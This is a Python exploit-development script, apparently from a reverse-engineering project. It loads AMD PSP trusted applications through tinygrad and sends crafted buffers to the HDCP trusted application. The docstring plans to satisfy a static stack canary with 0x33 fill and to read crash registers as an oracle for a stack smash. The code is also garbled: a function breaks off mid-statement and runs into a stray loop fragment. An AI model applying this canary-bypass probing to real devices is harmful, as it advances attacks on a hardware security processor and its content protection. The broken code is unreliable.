"""Fill the whole payload with 0x33 so ANY canary slot fed by our data is satisfied. __stack_chk_guard == 0x33333333 (static, single xref, no runtime writer). If the smash that trips __stack_chk_fail is written FROM OUR BUFFER, then filling every byte with 0x33 satisfies the canary wherever it lands, and the hang should disappear (or move). If the smash content comes from the crypto service's own state, 0x33 fill changes nothing. Readout uses the crash oracle discovered today: C2PMSG 82..88. 82 PC-ish 83 class/mode 84 faulting PC 85 DFSR 86 DFAR 88 ? """ import ctypes, struct, time from tinygrad import Device from tinygrad.runtime.autogen.am import am from tinygrad.helpers import lo32, hi32 d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp) C2P=90112+64 def crash(): return {n:adev.rreg(C2P+n) for n in (82,83,84,85,86,88)} def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little") def alloc(n): pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa) P='/Users/user/dev/amd-psp-re/psp_out/' def load(cmd,blob): ap,amc=alloc(0x40000); cp,cmc=alloc(0x8000) adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp() adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob) t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=0x8000 r=psp._ring_submit(c); return r.resp.session_id,cp load(am.GFX_CMD_ID_LOAD_ASD, open(P+'asd_full.bin','rb').read()) dtm_sid,dtm_shm = load(am.GFX_CMD_ID_LOAD_TA, open(P+'dtm_full.bin','rb').read()) sid,shm = load(am.GFX_CMD_ID_LOAD_TA, open(P+'hdcp_full.bin','rb').read()) def inv(s,sh,buf,tc): adev.vram.view(sh,0x8000)[:]=bytes(buf); adev.gmc.flush_hdp() adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd iv.session_id,iv.ta_cmd_id=s,tc t0=time.time() try: psp._ring_submit(ic); return 0, bytes(adev.vram.view(sh,0x2000)[:]), time.time()-t0 except RuntimeError: return stat(), bytes(adev.vram.view(sh,0x2000)[:]), time.time()-t0 except TimeoutError: return "TIMEOUT", None, time.time()-t0 def topo(h): b=bytearray(0x8000); struct.pack_into(' HUNG. sOS alive=%s" % psp.is_sos_alive()); break else: print(" -> returned") print("\nsOS alive:", psp.is_sos_alive())